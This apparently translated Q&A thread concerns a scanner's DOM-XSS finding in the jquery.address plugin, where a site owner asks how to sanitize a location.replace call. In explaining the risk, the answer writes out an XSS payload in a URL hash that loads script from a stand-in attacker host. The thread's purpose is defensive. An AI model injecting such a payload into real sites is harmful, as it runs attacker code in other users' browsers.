2013-03-01 32 views
1

我最近在我的網站上運行了安全掃描,並且正在使用的其中一個JS文件被標記爲有DOM跨站點腳本問題,我不確定我可以如何修復它。安全掃描顯示JS腳本文件中的漏洞

文件:jquery.address1.4.js

這裏是腳本從被標記的代碼的部分:

_supported = 
      (_mozilla && _version >= 1) || 
      (_msie && _version >= 6) || 
      (_opera && _version >= 9.5) || 
      (_webkit && _version >= 523); 

     if (_supported) { 
      if (_opera) { 
       history.navigationMode = 'compatible'; 
      } 
      if (document.readyState == 'complete') { 
       var interval = setInterval(function() { 
        if ($.address) { 
         _load(); 
         clearInterval(interval); 
        } 
       }, 50); 
      } else { 
       _options(); 
       $(_load); 
      } 
      $(window).bind('popstate', _popstate).bind('unload', _unload);    
     } else if (!_supported && _hrefHash() !== '') { 
      _l.replace(_l.href.substr(0, _l.href.indexOf('#'))); 
     } else { 
      _track(); 
     } 

的代碼行是這樣的:

_l.replace(_l.href.substr(0, _l.href.indexOf('#'))); 

掃描告訴我要對輸入進行消毒,但我不確定它指的是什麼,因爲我們在網站上沒有「輸入」。如何修復上述代碼以便通過安全掃描?

編輯: 這是_l

_l = _t.location, 

的價值來源:

_window = function() { 
       try { 
        return top.document !== UNDEFINED ? top : window; 
       } catch (e) { 
        return window; 
       } 
      }, 

ID = 'jQueryAddress', 
      STRING = 'string', 
      HASH_CHANGE = 'hashchange', 
      INIT = 'init', 
      CHANGE = 'change', 
      INTERNAL_CHANGE = 'internalChange', 
      EXTERNAL_CHANGE = 'externalChange', 
      TRUE = true, 
      FALSE = false, 
      _opts = { 
       autoUpdate: TRUE, 
       crawlable: FALSE, 
       history: TRUE, 
       strict: TRUE, 
       wrap: FALSE 
      }, 
      _browser = $.browser, 
      _version = parseFloat($.browser.version), 
      _mozilla = _browser.mozilla, 
      _msie = _browser.msie, 
      _opera = _browser.opera, 
      _webkit = _browser.webkit || _browser.safari, 
      _supported = FALSE, 
      _t = _window(), 
      _d = _t.document, 
      _h = _t.history, 
      _l = _t.location, 
      _si = setInterval, 
      _st = setTimeout, 
      _re = /\/{2,9}/g, 
      _agent = navigator.userAgent,    
      _frame, 
      _form, 
      _url = _search(document), 
      _qi = _url ? _url.indexOf('?') : -1, 
      _title = _d.title, 
      _silent = FALSE, 
      _loaded = FALSE, 
      _justset = TRUE, 
      _juststart = TRUE, 
      _updating = FALSE, 
      _listeners = {}, 
      _value = _href(); 
+0

什麼是'_l'?當你不顯示'_l'如何初始化時,很難說出它爲什麼認爲這是一個安全問題。 – 2013-03-01 18:02:04

+0

嗨,這是我在文件中找到的: _l = _t.location, – Keoki 2013-03-01 18:11:29

+0

OK,那麼_t是如何定義的? – 2013-03-01 18:13:17

回答

0

在這個例子中unsanitized值將會從您的網址檢索到的哈希值。應該清除URL中「#」前面的任何值,以確保攻擊者無法在該上下文中提供自己的JavaScript。

只是因爲這個值可能不提供「輸入」明確的用戶,沒有什麼可以阻止惡意用戶提供惡意值,如下列:

#"><script src=http://badguy.com/xss.js /> 

這將在上下文中執行的其他用戶。

本示例或輸入消毒的有效防禦將是白名單方法。只接受#的已知值,不允許攻擊者可能提供的任何內容。

這是防禦基於DOM的XSS的一個很好的資源https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet我建議你通讀它。

+0

OP公佈的代碼丟棄散列值。 – 2013-03-02 00:20:20

+0

是的,但代碼也讀取散列值,這足以讓攻擊者注入腳本,如上面的示例所示。前面的「#」值被認爲是由用戶提供的,因爲它在URL中。因此,必須對其進行消毒,以防止攻擊者注入自己的代碼,從而破壞當前程序的控制流。 – eliteparakeet 2013-03-04 18:21:58